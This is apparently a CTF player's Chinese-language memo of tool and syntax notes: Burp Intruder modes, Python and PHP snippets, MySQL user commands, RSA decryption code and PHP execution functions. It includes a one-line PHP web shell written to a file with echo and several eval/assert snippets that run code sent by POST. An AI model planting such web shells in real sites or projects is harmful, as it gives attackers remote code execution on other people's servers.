0%

备忘录


kail

1
update-rc.d ssh enable	开机启动ssh

burpsuite

intruder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
第一种:

Sniper标签 这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。


第二种:

Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中


第三种:

Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。比如:position中A处有a字典,B处有b字典,则a【1】将会对应b【1】进行attack处理,这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量


第四种:

Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。比如:position中A处有a字典,B处有b字典,则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。

python lambda

1
2
3
a = lambda x,y :x*y
a(3,2)
#6

linux

一些转义

1
echo "<?php eval(\$_POST['tinmin']);?>" > tinmin.php

MYSQL5.7

创建用户

1
CREATE USER 'username'@'host' IDENTIFIED BY 'password';

授权

1
grant all privileges on mq.* to test@localhost identified by 'PASSWORD';

删除用户

1
DROP USER 'USER'@'host'

python php 易遗忘点

python 判断数据类型取代type

1
2
isinstance([1,2,3,4],list)
#True

python 三目运算符

1
a = 3 if x < 0 else 6

如果x小于零,则a=6,否则还是3

函数

1
2
3
def tinmin():
return 'hello'
tinmin.func_code.co_filename = "tinmin"

获取函数名称和文件位置:func_name, func_code.co_filename

php 三目运算符

1
2
3
4
php > $x = 0;
php > $p= $x > 5 ? 5:4;
php > echo $p;
4

join 连接字符串

1
2
3
4
>>>''.join(['1','2','3'])  #列表
123
>>> ''.join(('1','2','3','4')) #元组
1234

随机字符串

1
2
3
"".join(__import__("random").sample((__import__("string").ascii_letters+__import__("string").digits),16))

"".join(__import__("random").choice(__import__("string").ascii_letters+__import__("string").digits) for _ in range(16))

python3 的sha1 md5不需要hashlib库了

1
2
3
from _md5 import md5
md5("tinmin".encode("utf-8")).hexdigest()
from _sha1 import sha1

php数组转化字符串方法

1
2
3
4
5
join(array("I","am","tinmin"),",")
>> I,am,tinmin

serialize(array("I","am","tinmin"))
>>a:3:{i:0;s:1:"I";i:1;s:2:"am";i:2;s:6:"tinmin";}

密码学RSA python的使用

python3使用pycryptodome替代pycrypto

1
2
3
4
5
6
7
8
9
10
11
12
from Cryptodome.PublicKey import RSA
# ------读取公钥------
with open('./pub.key',"r") as f:
key = RSA.import_key(f)
n = key.n
e = key.e

# ------生成私钥----------
from Cryptodome.Cipher import PKCS1_v1_5
prv = RSA.construct((N,e,int(d),p,q)) #d 一般为mpz类型,需要转换为int
rsa = PKCS1_v1_5.new(prv)
rsa.decrypt((bytes.fromhex(cipher), e)) #一般对密文进行hex解码再解密

无符号hex转ascii

1
2
3
4
from Cryptodome.Util.number import long_to_bytes
flag = int(cipher,16)
m = pow(flag,d,N)
long_to_bytes(m) m没有0x

格式化字符串

PHP

1
2
3
4
5
<?php
$num = "1";
$str = "school";
echo sprintf("you are number %u in the %s",$num,$str);
?>

you are number 1 in the school

sprintf

%u 无符号十进制数
%s 字符串
%c ascii码
%% 百分号
%e 科学记数法
%f 浮点数

python

1
2
3
4
5
"My name is {}".format("tinmin")
"My name is {name}".format(name="tinmin")
"My name is {1}".format("tinmin","imtinmin") #My name is imtinmin
"My name is %s"%"tinmin"
"You play %s like %s"%("CTF","cxk")

C

1
printf("%s","hello world");

php 代码执行函数

eval()

1
2
3
<?php
eval($_POST['tinmin']);
?>

POST:
tinmin=phpinfo();

assert()

1
2
3
<?php
assert($_POST['tinmin']);
?>

assert函数执行失败,会停止执行文件后面的代码

命令执行函数

exec()

无回显,需要echo

1
2
3
<?php
echo exec('ls');
?>

可以使用exec('ls',$a[]);将执行结果输出到a数组,再输出

passthru()

有命令执行结果回显

1
2
3
<?php
passthru('ls');
?>

有回显,执行成功返回True,执行失败返回False

shell_exec()
相当于反撇号,无回显
例:

1
2
3
<?php
echo `whoami`;
?>

system

1
2
3
<?php
system('ls');
?>

在当前目录启动HTTP服务

python2

1
py2 -m SimpleHTTPServer 1337

python3

1
py3 -m http.server 1337

php5.4+

1
php -S localhost:7777

linux 强大的lsb隐写查看工具

先下个ruby 然后gem也有了,gem install zsteg

zsteg